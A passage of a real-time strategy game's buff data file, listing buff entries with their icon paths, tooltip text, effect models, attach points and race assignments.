(Area)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNvc]\n_code=\"BNvc\"\n_id=\"BNvc\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNVolcano.blp\"\nbufftip=\"Volcano\"\nbuffubertip=\"Volcano.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\Thunderclap\\\\ThunderclapTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BNwm]\n_code=\"BNwm\"\n_id=\"BNwm\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNMurgulTideWarrior.blp\"\nbufftip=\"Watery Minion\"\nbuffubertip=\"Summoned units take damage from dispels.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BOac]\n_code=\"BOac\"\n_id=\"BOac\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNGnollCommandAura.blp\"\nbufftip=\"Command Aura\"\nbuffubertip=\"This unit is under the effects of Command Aura; it has increased attack damage.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BOae]\n_code=\"BOae\"\n_id=\"BOae\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCommand.blp\"\nbufftip=\"Endurance Aura\"\nbuffubertip=\"This unit is under the effects of Endurance Aura; it has an increased movement speed and attack rate.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BOea]\n_code=\"BOea\"\n_id=\"BOea\"\n_type=\"buff\"\neditorname=\"Earthquake (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[BOeq]\n_code=\"BOeq\"\n_id=\"BOeq\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEarthquake.blp\"\nbufftip=\"Earthquake\"\nbuffubertip=\"This unit is in an Earthquake; its movement speed is greatly reduced.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\StasisTrap\\\\StasisTotemTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BOhx]\n_code=\"BOhx\"\n_id=\"BOhx\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNHex.blp\"\nbufftip=\"Hex\"\nbuffubertip=\"This unit is Hexed; it has been transformed into a critter.\"\neffectart=\"Abilities\\\\Spells\\\\Human\\\\Polymorph\\\\PolyMorphDoneGround.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[BOmi]\n_code=\"BOmi\"\n_id=\"BOmi\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNMirrorImage.blp\"\nbufftip=\"Mirror Image\"\nbuffubertip=\"A duplicate illusion of the original Blademaster.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspecialart=\"Abilities\\\\Spells\\\\Orc\\\\MirrorImage\\\\MirrorImageDeathCaster.mdl\"\nspelldetail=0\ntargetattachcount=0\n\n[BOsf]\n_code=\"BOsf\"\n_id=\"BOsf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSpiritWolf.blp\"\nbufftip=\"Feral Spirit\"\nbuffubertip=\"Summoned units take damage from dispels.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[BOsh]\n_code=\"BOsh\"\n_id=\"BOsh\"\n_type=\"buff\"\neditorname=\"Shockwave (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[BOvc]\n_code=\"BOvc\"\n_id=\"BOvc\"\n_type=\"buff\"\neditorname=\"Big Bad Voodoo (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\Voodoo\\\\VoodooAura.mdl\"\ntargetattachcount=0\n\n[BOvd]\n_code=\"BOvd\"\n_id=\"BOvd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBigBadVoodooSpell.blp\"\nbufftip=\"Big Bad Voodoo\"\nbuffubertip=\"This unit is under the effects of Big Bad Voodoo, and is invulnerable.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\Voodoo\\\\VoodooAuraTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BOwd]\n_code=\"BOwd\"\n_id=\"BOwd\"\n_type=\"buff\"\nbufftip=\"Ward\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[BOwk]\n_code=\"BOwk\"\n_id=\"BOwk\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNWindWalkOn.blp\"\nbufftip=\"Wind Walk\"\nbuffubertip=\"This unit is Wind Walking; it is invisible, moves faster, and the first attack it makes while invisible will deal bonus damage.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[BOww]\n_code=\"BOww\"\n_id=\"BOww\"\n_type=\"buff\"\neditorname=\"Bladestorm (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[BPSE]\n_code=\"BPSE\"\n_id=\"BPSE\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNStun.blp\"\nbufftip=\"Stunned\"\nbuffubertip=\"This unit will not move.\"\neditorsuffix=\" (Pause)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\Thunderclap\\\\ThunderclapTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BSTN]\n_code=\"BSTN\"\n_id=\"BSTN\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNStun.blp\"\nbufftip=\"Stunned\"\nbuffubertip=\"This unit is stunned; it cannot move, attack or cast spells.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\Thunderclap\\\\ThunderclapTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BUad]\n_code=\"BUad\"\n_id=\"BUad\"\n_type=\"buff\"\neditorname=\"Animate Dead (Extra)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[BUan]\n_code=\"BUan\"\n_id=\"BUan\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNAnimateDead.blp\"\nbufftip=\"Animate Dead\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspecialart=\"Objects\\\\Spawnmodels\\\\Undead\\\\UndeadLargeDeathExplode\\\\UndeadLargeDeathExplode.mdl\"\nspelldetail=0\ntargetattachcount=0\n\n[BUau]\n_code=\"BUau\"\n_id=\"BUau\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNUnholyAura.blp\"\nbufftip=\"Unholy Aura\"\nbuffubertip=\"This unit is under the effects of Unholy Aura; it has an increased movement speed and hit point regeneration.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BUav]\n_code=\"BUav\"\n_id=\"BUav\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNVampiricAura.blp\"\nbufftip=\"Vampiric Aura\"\nbuffubertip=\"This unit is under the effects of Vampiric Aura; damage it deals to enemy units will restore hit points.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspecialart=\"Abilities\\\\Spells\\\\Undead\\\\VampiricAura\\\\VampiricAuraTarget.mdl\"\nspecialattach=\"origin\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BUcb]\n_code=\"BUcb\"\n_id=\"BUcb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCarrionScarabs.blp\"\nbufftip=\"Carrion Beetles\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[BUcs]\n_code=\"BUcs\"\n_id=\"BUcs\"\n_type=\"buff\"\neditorname=\"Carrion Swarm (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[BUdd]\n_code=\"BUdd\"\n_id=\"BUdd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNDeathAndDecay.blp\"\nbufftip=\"Death and Decay\"\nbuffubertip=\"This unit is under Death and Decay; it will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\DeathandDecay\\\\DeathandDecayDamage.mdl\"\ntargetattachcount=0\n\n[BUfa]\n_code=\"BUfa\"\n_id=\"BUfa\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNFrostArmor.blp\"\nbufftip=\"Frost Armor\"\nbuffubertip=\"This unit has Frost Armor; it has increased armor, and melee units that attack it will have their movement speed and attack rate reduced for a short duration.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspecialart=\"Abilities\\\\Spells\\\\Undead\\\\FrostArmor\\\\FrostArmorDamage.mdl\"\nspecialattach=\"chest\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\FrostArmor\\\\FrostArmorTarget.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[BUim]\n_code=\"BUim\"\n_id=\"BUim\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNImpale.blp\"\nbufftip=\"Impale\"\nbuffubertip=\"This unit has been impaled; it is in the air for a short duration.\"\neffectart=\"Abilities\\\\Spells\\\\Undead\\\\Impale\\\\ImpaleHitTarget.mdl\"\neffectattach=\"sprite,first\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\StormBolt\\\\StormBoltTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BUsl]\n_code=\"BUsl\"\n_id=\"BUsl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSleep.blp\"\nbufftip=\"Sleep\"\nbuffubertip=\"This unit is sleeping; it cannot move, attack, or cast spells. Attacking it will wake it up.\"\neffectsoundlooped=\"CreepSleepSnoreLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Sleep\\\\SleepTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BUsp]\n_code=\"BUsp\"\n_id=\"BUsp\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSleep.blp\"\neditorname=\"Sleep (Pause)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Sleep\\\\SleepSpecialArt.mdl\"\ntargetattachcount=0\n\n[BUst]\n_code=\"BUst\"\n_id=\"BUst\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSleep.blp\"\neditorname=\"Sleep (Stun)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Sleep\\\\SleepSpecialArt.mdl\"\ntargetattachcount=0\n\n[BUts]\n_code=\"BUts\"\n_id=\"BUts\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNThornShield.blp\"\neditorname=\"Spiked Carapace\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\ThornyShield\\\\ThornyShieldTargetChestLeft.mdl,Abilities\\\\Spells\\\\Undead\\\\ThornyShield\\\\ThornyShieldTargetChestRight.mdl,Abilities\\\\Spells\\\\Undead\\\\ThornyShield\\\\ThornyShieldTargetChestMountLeft.mdl,Abilities\\\\Spells\\\\Undead\\\\ThornyShield\\\\ThornyShieldTargetChestMountRight.mdl\"\ntargetattach=\"chest,left\"\ntargetattach1=\"chest,right\"\ntargetattach2=\"chest,mount,left\"\ntargetattach3=\"chest,mount,right\"\ntargetattachcount=4\n\n[Babr]\n_code=\"Babr\"\n_id=\"Babr\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNRegenerationAura.blp\"\nbufftip=\"Aura of Blight\"\nbuffubertip=\"This unit is under the effects of Aura of Blight; it has a bonus to hit point regeneration.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[Bakb]\n_code=\"Bakb\"\n_id=\"Bakb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNDrum.blp\"\nbufftip=\"War Drums\"\nbuffubertip=\"This unit hears War Drums; it has increased attack damage.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\GeneralAuraTarget\\\\GeneralAuraTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[Bam2]\n_code=\"Bam2\"\n_id=\"Bam2\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNAntiMagicShell.blp\"\nbufftip=\"Anti-magic Shell\"\nbuffubertip=\"This unit has Anti-magic Shell; damage spells must destroy the shell to affect the unit.\"\neditorsuffix=\" (Extra)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\AntiMagicShell\\\\AntiMagicShell.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bams]\n_code=\"Bams\"\n_id=\"Bams\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNAntiMagicShell.blp\"\nbufftip=\"Anti-magic Shell\"\nbuffubertip=\"This unit has Anti-magic Shell; it cannot be targeted by spells. It can be dispelled.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\AntiMagicShell\\\\AntiMagicShell.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bapl]\n_code=\"Bapl\"\n_id=\"Bapl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNPlagueCloud.blp\"\nbufftip=\"Disease\"\nbuffubertip=\"This unit is diseased; it will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=2\ntargetart=\"Units\\\\Undead\\\\PlagueCloud\\\\PlagueCloudtarget.mdl\"\ntargetattach=\"head\"\ntargetattachcount=0\n\n[Barm]\n_code=\"Barm\"\n_id=\"Barm\"\n_type=\"buff\"\nbufftip=\"Mana Regeneration Aura\"\nbuffubertip=\"This unit is under the effects of Mana Regeneration Aura; it has an increased mana regeneration rate.\"\neffectsoundlooped=\"FountainOfLifeLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\ANrl\\\\ANrlTarget.mdl\"\ntargetattachcount=0\n\n[Basl]\n_code=\"Basl\"\n_id=\"Basl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNTornado.blp\"\nbufftip=\"Tornado\"\nbuffubertip=\"This unit is caught within a Tornado; its movement speed has been reduced temporarily.\"\neditorsuffix=\" (Slow Aura)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Tornado\\\\Tornado_Target.mdl\"\ntargetattachcount=0\n\n[Bbar]\n_code=\"Bbar\"\n_id=\"Bbar\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBarkskin.blp\"\nbufftip=\"Barkskin\"\nbuffubertip=\"This unit has Barkskin; it has increased armor.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\Barkskin\\\\BarkSkinTarget.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bblo]\n_code=\"Bblo\"\n_id=\"Bblo\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBloodLust.blp\"\nbufftip=\"Bloodlust\"\nbuffubertip=\"This unit has Bloodlust; its attack rate and movement speed are increased.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\Bloodlust\\\\BloodlustTarget.mdl,Abilities\\\\Spells\\\\Orc\\\\Bloodlust\\\\BloodlustSpecial.mdl\"\ntargetattach=\"hand,left\"\ntargetattach1=\"hand,right\"\ntargetattachcount=2\n\n[Bbof]\n_code=\"Bbof\"\n_id=\"Bbof\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNWallOfFire.blp\"\nbufftip=\"Burning Oil\"\nbuffubertip=\"This unit is caught in a burning oil fire; it will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\FlameStrike\\\\FlameStrikeDamageTarget.mdl\"\ntargetattachcount=0\n\n[Bbsk]\n_code=\"Bbsk\"\n_id=\"Bbsk\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBerserkForTrolls.blp\"\nbufftip=\"Berserk\"\nbuffubertip=\"This unit is Berserk; it will deal more damage, but also take more damage from attacks.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\TrollBerserk\\\\HeadhunterWEAPONSLeft.mdl,Abilities\\\\Spells\\\\Orc\\\\TrollBerserk\\\\HeadhunterWEAPONSRight.mdl\"\ntargetattach=\"weapon,left\"\ntargetattach1=\"weapon,right\"\ntargetattachcount=2\n\n[Bchd]\n_code=\"Bchd\"\n_id=\"Bchd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNDizzy.blp\"\nbufftip=\"Dizziness\"\nbuffubertip=\"This unit is dizzy; its attack rate and movement speed are reduced.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\StasisTrap\\\\StasisTotemTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bclf]\n_code=\"Bclf\"\n_id=\"Bclf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCloudOfFog.blp\"\nbufftip=\"Cloud\"\nbuffubertip=\"This building has a Cloud on it, and cannot use its ranged attack.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bcmg]\n_code=\"Bcmg\"\n_id=\"Bcmg\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNControlMagic.blp\"\nbufftip=\"Control Magic\"\nbuffubertip=\"This unit has been controlled; it obeys a new master now.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bcor]\n_code=\"Bcor\"\n_id=\"Bcor\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCorrosiveBreath.blp\"\nbufftip=\"Corrosive Breath\"\nbuffubertip=\"This building was hit by Corrosive Breath; it will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\CorrosiveBreath\\\\ChimaeraAcidTargetArt.mdl\"\ntargetattachcount=0\n\n[Bcri]\n_code=\"Bcri\"\n_id=\"Bcri\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCripple.blp\"\nbufftip=\"Cripple\"\nbuffubertip=\"This unit is Crippled; its movement speed, attack rate and damage have been reduced.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Cripple\\\\CrippleTarget.mdl\"\ntargetattachcount=0\n\n[Bcrs]\n_code=\"Bcrs\"\n_id=\"Bcrs\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCurse.blp\"\nbufftip=\"Curse\"\nbuffubertip=\"This unit is Cursed; it can miss when it attacks.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Curse\\\\CurseTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bcsd]\n_code=\"Bcsd\"\n_id=\"Bcsd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNColdArrows.blp\"\nbufftip=\"Cold Arrows\"\nbuffubertip=\"This unit was hit by a Cold Arrow; its attack rate and movement speed have been reduced.\"\neditorsuffix=\" (Stacking)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Bcsi]\n_code=\"Bcsi\"\n_id=\"Bcsi\"\n_type=\"buff\"\neditorname=\"Cold Arrows\"\neditorsuffix=\" (Info)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Bcy2]\n_code=\"Bcy2\"\n_id=\"Bcy2\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCyclone.blp\"\nbufftip=\"Cyclone\"\nbuffubertip=\"This unit is in a Cyclone; it cannot move, attack or cast spells.\"\neditorsuffix=\" (Extra)\"\neffectart=\"Abilities\\\\Spells\\\\NightElf\\\\Cyclone\\\\CycloneTarget.mdl\"\neffectattach=\"sprite,first\"\neffectsoundlooped=\"CycloneLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[Bcyc]\n_code=\"Bcyc\"\n_id=\"Bcyc\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCyclone.blp\"\nbufftip=\"Cyclone\"\nbuffubertip=\"This unit is in a Cyclone; it cannot move, attack or cast spells.\"\neffectart=\"Abilities\\\\Spells\\\\NightElf\\\\Cyclone\\\\CycloneTarget.mdl\"\neffectsoundlooped=\"CycloneLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattach=\"sprite,first\"\ntargetattachcount=0\n\n[Bdbb]\n_code=\"Bdbb\"\n_id=\"Bdbb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNLifeDrain.blp\"\nbufftip=\"Drain Life & Mana\"\nbuffubertip=\"This unit has temporary bonus health and mana above its normal maximums. This bonus will fade off quickly.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bdbl]\n_code=\"Bdbl\"\n_id=\"Bdbl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNLifeDrain.blp\"\nbufftip=\"Drain Life\"\nbuffubertip=\"This unit has temporary bonus health above its normal maximum. This bonus will fade off quickly.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bdbm]\n_code=\"Bdbm\"\n_id=\"Bdbm\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNManaDrain.blp\"\nbufftip=\"Siphon Mana\"\nbuffubertip=\"This unit has temporary bonus mana above its normal maximum. This bonus will fade off quickly.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bdcb]\n_code=\"Bdcb\"\n_id=\"Bdcb\"\n_type=\"buff\"\neditorname=\"Drain Life & Mana (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Drain\\\\DrainCaster.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bdcl]\n_code=\"Bdcl\"\n_id=\"Bdcl\"\n_type=\"buff\"\neditorname=\"Drain Life (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Drain\\\\DrainCaster.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bdcm]\n_code=\"Bdcm\"\n_id=\"Bdcm\"\n_type=\"buff\"\neditorname=\"Drain Mana 